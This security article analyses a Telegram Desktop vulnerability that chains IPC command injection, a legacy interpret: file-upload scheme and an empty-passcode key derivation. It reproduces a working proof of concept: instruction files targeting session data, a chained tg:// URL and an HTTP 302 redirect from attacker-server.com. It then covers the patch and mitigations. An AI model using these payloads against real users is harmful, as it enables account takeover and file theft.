Security researcher beaksec has disclosed a critical vulnerability in Telegram Desktop (CVE-2026-107181, CVSS v3.1 score 8.1, High) that lets an attacker take over a victim’s account and read arbitrary local files with nothing more than a single clicked link. The bugs come from how Telegram’s legacy features, its inter-process communication (IPC) protocol, and its local encryption interact: an IPC serialization flaw, an unescaped command separator, a legacy URI scheme with no authorization checks, and a bypass of Telegram’s local encryption all chain together.
This analysis walks through the mechanics of CVE-2026-107181, the relevant C++ code, what it means for Telegram’s local storage encryption, and what users and enterprise admins can do about it.
The architecture of the flaw: single-instance IPC and local sockets
Telegram Desktop runs as a single-instance application: launching it a second time doesn’t start a competing process. Instead, the new process acts as a client, connects to the already-running instance (the server) over a local inter-process communication (IPC) socket, hands over its command-line arguments (such as a clicked URI), and exits.
This design avoids database corruption and keeps the experience consistent across windows. Operating systems let applications register custom URI schemes, and Telegram registers tg://. When a user clicks a tg:// link, the OS launches Telegram and passes the URL as a command-line argument.
If Telegram isn’t already running, that new process parses the URL and handles it directly. If Telegram is already running, the new client process has to serialize the URL into a flat string and send it over the socket to the server process. That serialization and deserialization step is where the first defect lives.
the unescaped separator and IPC injection
Telegram uses a proprietary, lightweight text-based protocol for its IPC communication. Instructions are formatted as a keyword, followed by an argument, and terminated by a semicolon (;). For example, a legitimate request to open a URL is serialized as:
OPEN:tg://x?a=1;
The server process reads the incoming byte stream, splits the string at every semicolon delimiter, and processes each segment as an independent command. The vulnerability arises because the serialization routine in sandbox.cpp fails to escape the semicolon character if it appears within the URL payload itself.
// Vulnerable serialization logic in sandbox.cpp (Lines 295-297)for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';}
When the server deserializes the payload, it blindly trusts the semicolon as a structural boundary, not as literal data. This is a classic injection vulnerability, conceptually identical to SQL injection or HTTP header injection, but occurring within a local IPC channel.
If an attacker crafts a URL containing a semicolon, such as tg://x?a=1;CMD:quit, the client serializes it as: OPEN:tg://x?a=1;CMD:quit;
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →Upon deserialization, the server splits this into two separate commands:
OPEN:tg://x?a=1CMD:quit
The attacker has injected an arbitrary command into the IPC channel. The CMD instruction is mostly limited to harmless actions like closing the app, but OPEN accepts any URL scheme without validation, which leads to the next defect.
the interpret: URI scheme and missing authorization
Injecting commands into the IPC channel is one problem; what CVE-2026-107181 actually lets an attacker execute is the bigger one. Telegram’s source code contains an undocumented, internal URI scheme called interpret:.
Unlike the tg:// scheme, interpret: is not registered with the operating system as a global protocol handler. It exists entirely within Telegram’s internal routing logic, specifically designed to process instruction files.
// Internal routing logic in application.cpp (Lines 1162-1164)if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false;}
The legacy of interpret: and automated deployments
The interpret: scheme is a legacy feature built to automate Telegram’s own release pipeline. When a new version of Telegram Desktop was compiled, a deployment script would generate a plaintext instruction file containing the target release channel ID, the path to the compiled installer binary, and the release changelog. The script would then launch Telegram with an interpret:// URI pointing to this file.
A typical instruction file looks like this:
from: 1234567890channel: 1987654321file: out/Release/deploy/6.9.3/tsetup.6.9.3.execaption: TDesktop at 12.06.26: Fixed media viewer crash.
The core function handling this operation, InterpretSendPath located in support_helper.cpp, reads the specified file from the local disk and uploads it to the designated channel.
// Vulnerable file read and upload logic in support_helper.cpp (Lines 673-680)QString InterpretSendPath( not_null<Window::SessionController*> window, const QString &path) { QFile f(path); if (!f.open(QIODevice::ReadOnly)) { return "App Error: Could not open interpret file: " + path; } const auto content = QString::fromUtf8(f.readAll()); // ... proceeds to send the file to the channel without user interaction
The authorization bypass
The failure in InterpretSendPath is that it has no authorization checks and no user confirmation prompt. That’s fine when it’s invoked from the command line by an automated script, since the script already has local execution privileges.
But once this function is reachable through the IPC socket via the OPEN: command, any external input that reaches the socket can trigger it. It will read any file on the local filesystem the Telegram process can access and silently send it to an attacker-controlled channel, with no confirmation dialog and no check on who’s asking. It’s a blind, privileged file-read primitive exposed to untrusted input.
The exploit chain: from click to account takeover
Chaining the IPC injection with the interpret: bypass produces a working exploit, but pulling it off means working around Telegram’s UI handling and Windows’ filesystem layout. Researcher beaksec built a four-stage chain that needs only a single click from the victim.

weaponizing auto-downloads and predictable paths
To execute the interpret: command, the attacker must first place a malicious instruction file on the victim’s local disk. Telegram Desktop, by default, automatically downloads files up to 8 MB received in group chats without requiring user interaction.
The attacker creates a Telegram supergroup, adds the victim (which requires no confirmation under default privacy settings), and uploads a plaintext file named instructions.txt. Telegram automatically saves this file to a predictable directory: C:\Users\<username>\Downloads\Telegram Desktop\instructions.txt
While the <username> variable might seem like an obstacle to path traversal, Telegram resolves relative paths based on its current working directory, which is hardcoded to its application data folder: %APPDATA%\Telegram Desktop. This directory is exactly three levels below the user’s home directory. So the attacker can reference the auto-downloaded instruction file using a deterministic relative path:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
the HTTP 302 redirect nuance
One detail decides how the malicious payload has to be delivered. If the attacker simply posts a tg:// link directly into the Telegram chat, the exploit fails. When a user clicks a tg:// link from within the Telegram UI, the application handles the click internally within the existing process. The OS is never invoked, no new process is spawned, and the IPC socket is bypassed.
To trigger the IPC mechanism, the attacker needs the operating system, not Telegram’s UI, to handle the URI. They do this by posting a standard https:// link to an attacker-controlled server. When the victim clicks it, it opens in their default browser, and the server responds with an HTTP 302 redirect to the malicious tg:// payload.
GET /rules HTTP/1.1Host: attacker-server.comHTTP/1.1 302 FoundLocation: tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
The browser, recognizing the tg:// protocol, asks the OS to launch the registered handler. The OS spawns a new, redundant Telegram process (the client). The client connects to the running instance (the server) via the local socket, serializes the payload, and triggers the unescaped semicolon injection.
bypassing local encryption and stealing the session
Telegram doesn’t store session data in plaintext; the local database is encrypted. But how that encryption is built is what makes the rest of the exploit possible.
Telegram uses a layered encryption model involving a Data Encryption Key (DEK) and a Key Encryption Key (KEK).
- The DEK is a high-entropy random key that encrypts the actual user data and session tokens.
- The KEK is derived from the user’s local passcode and a cryptographic salt using a Key Derivation Function (KDF).
- The KEK is used to encrypt the DEK.
The encrypted DEK and the plaintext salt are stored in tdata/key_datas. The actual MTProto session authorization token is stored in a separate file (e.g., tdata/D877F783D5D3EF8Cs), encrypted by the DEK.
tdata/├── key_datas # Contains salt + encrypted DEK├── D877F783D5D3EF8Cs # MTProto authorization token (encrypted by DEK)└── D877F783D5D3EF8C/ └── maps # Data index (required for session loading)
The cryptographic bypass: by default, Telegram Desktop does not enforce a local passcode. If a user has not explicitly set a local passcode in the settings, the input to the KDF is an empty string. The KEK ends up derived entirely from that empty string and the salt stored in key_datas.
If the attacker uses the interpret: exploit to exfiltrate key_datas, the session authorization file, and the maps index file, they have everything needed to reconstruct the victim’s session. They simply drop these three files into their own tdata folder, launch Telegram, and the application deterministically derives the KEK, unwraps the DEK, decrypts the session token, and logs in as the victim. No password prompt, no 2FA challenge, and no email notification fires, because the session token itself is valid.
Proof-of-concept walkthrough
Here is the payload structure beaksec used to exfiltrate the cryptographic files needed for the takeover.
The instruction files The attacker uploads three separate text files to the Telegram group, ensuring they are saved via auto-download. Each file targets one of the tdata components. The from: parameter is intentionally omitted to bypass the internal account ID check.
instructions1.txt
channel: [Attacker_Channel_ID]file: tdata/key_datascaption: poc_key
instructions2.txt
channel: [Attacker_Channel_ID]file: tdata/D877F783D5D3EF8Cscaption: poc_auth
instructions3.txt
channel: [Attacker_Channel_ID]file: tdata/D877F783D5D3EF8C/mapscaption: poc_maps
The malicious payload URL Because the interpret: function only processes the last file: directive in an instruction file, the attacker must invoke three separate instruction files. The IPC injection allows chaining multiple OPEN: commands in a single payload using unescaped semicolons.
The final URL payload delivered via the HTTP 302 redirect is:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
Upon clicking the link, the victim’s Telegram client silently reads the three local files and uploads them to the attacker’s channel. The attacker downloads the files, replaces their local tdata directory, and takes over the victim’s account.
Impact and risk assessment
CVE-2026-107181 breaks the boundary the application is supposed to maintain between external input and privileged local filesystem access.
- CVSS v3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Attack Vector (Network): The attack is initiated via a network-delivered link.
- Attack Complexity (Low): No specialized conditions or race conditions are required; the exploit is deterministic.
- Privileges Required (None): The attacker needs no prior access to the victim’s machine.
- User Interaction (Required): The victim must click the malicious link.
- Confidentiality & Integrity (High): The attacker gains full access to local files (confidentiality) and can impersonate the user, send messages, and manipulate the account (integrity).
Beyond session hijacking, the same file-read primitive can pull SSH private keys, browser password databases, cloud credentials (for example ~/.aws/credentials), and VPN configs, which matters a lot anywhere Telegram Desktop is used for team communication.
Vendor response and the fix (commit db3405699f)
Telegram was notified of the vulnerability through the Zero Day Initiative (ZDI) on June 25, 2026. The vendor addressed the issue in Telegram Desktop version 7.2.9, released on September 17, 2026, via commit db3405699f.
The patch fixes the issue in four ways:
- Removing the legacy code. Telegram removed the
interpret://URI scheme and theSupport::InterpretSendPathfunction entirely, and moved the automated build deployment process to a separate, out-of-band mechanism. - Escaping IPC values. The serialization logic for the single-instance socket was rewritten: values are now percent-encoded before being written to the socket and decoded only after the string is split, so a semicolon inside the payload can no longer be read as a command boundary.
- State-aware command filtering. The IPC parser now tracks state: once an
OPEN:command appears on a connection, any laterCMD:orCTRL:records on that connection are dropped, which blocks command injection even if another parsing bug turns up later. - Path sanitization. Local file paths are now dropped if a non-local URL has already appeared on the same IPC connection, closing off the path traversal vector.
The fix was implemented quietly; the official 7.2.9 changelog only vaguely referenced “rendering fixes,” and the commit message was titled “Remove legacy interpret path helper.” No formal security advisory was published alongside the release, a practice that can leave enterprise administrators unaware they need to patch.
Mitigations for users and enterprise admins
Updating to 7.2.9 or later is the only way to actually close CVE-2026-107181. The mitigations below are defense-in-depth, worth doing in case a similar IPC or local-storage bug turns up later.
Set a local passcode
The entire session hijack depends on the local passcode being empty. Set one under Settings > Privacy and Security > Local Passcode, and the KEK can’t be derived without it, so a stolen tdata folder becomes useless even if some other file-read bug shows up later.
Turn off automatic media downloads
The exploit chain depends on Telegram’s default auto-download behavior in groups. Go to Settings > Advanced > Automatic media download and turn off auto-downloads for private groups and channels, or enable “Ask where to save each file.” If the instruction file never lands on disk automatically, the path traversal payload has nothing to read.
Restrict who can add you to groups
The attack starts with the attacker adding the victim to a malicious group. Go to Settings > Privacy and Security > Group & Channels and set it to My Contacts, which breaks that delivery step entirely.
Application whitelisting and network monitoring
Enterprise IT should manage and update Telegram Desktop centrally through MDM or SCCM to enforce version 7.2.9+. Network security teams should also watch for unusual outbound traffic from Telegram Desktop processes, especially large uploads to unfamiliar Telegram API endpoints from workstations that don’t normally do much media sharing.
Disclosure timeline
| Date | Event |
|---|---|
| June 25, 2026 | Vulnerability reported to Telegram via the Zero Day Initiative (ZDI). |
| September 16, 2026 | Telegram independently fixes the issue in commit db3405699f. |
| September 17, 2026 | Telegram Desktop version 7.2.9 is published to the public. |
| September 30, 2026 | ZDI closes the case as “Vendor Fixed”; disclosure rights return to the researcher. |
| October 3, 2026 | Researcher beaksec publishes the technical writeup and PoC. |
| October 7, 2026 | CVE-2026-107181 is officially assigned and published in the MITRE database. |
Conclusion
CVE-2026-107181 didn’t come from a weakness in Telegram’s MTProto protocol, which held up fine. It came from ordinary desktop app architecture: a leftover deployment script, custom IPC serialization, and the assumption that local filesystem access implies consent.
It’s a reminder to sanitize and validate local IPC channels with the same care as external network APIs: an unescaped semicolon in a local socket is just as dangerous as an unescaped quote in a SQL query.
For users, convenience features like auto-downloads and skipping the local passcode open up attack surfaces that can bypass otherwise solid encryption. Updating to 7.2.9 closes this specific hole, but setting a local passcode is what actually protects you if the next one looks similar.









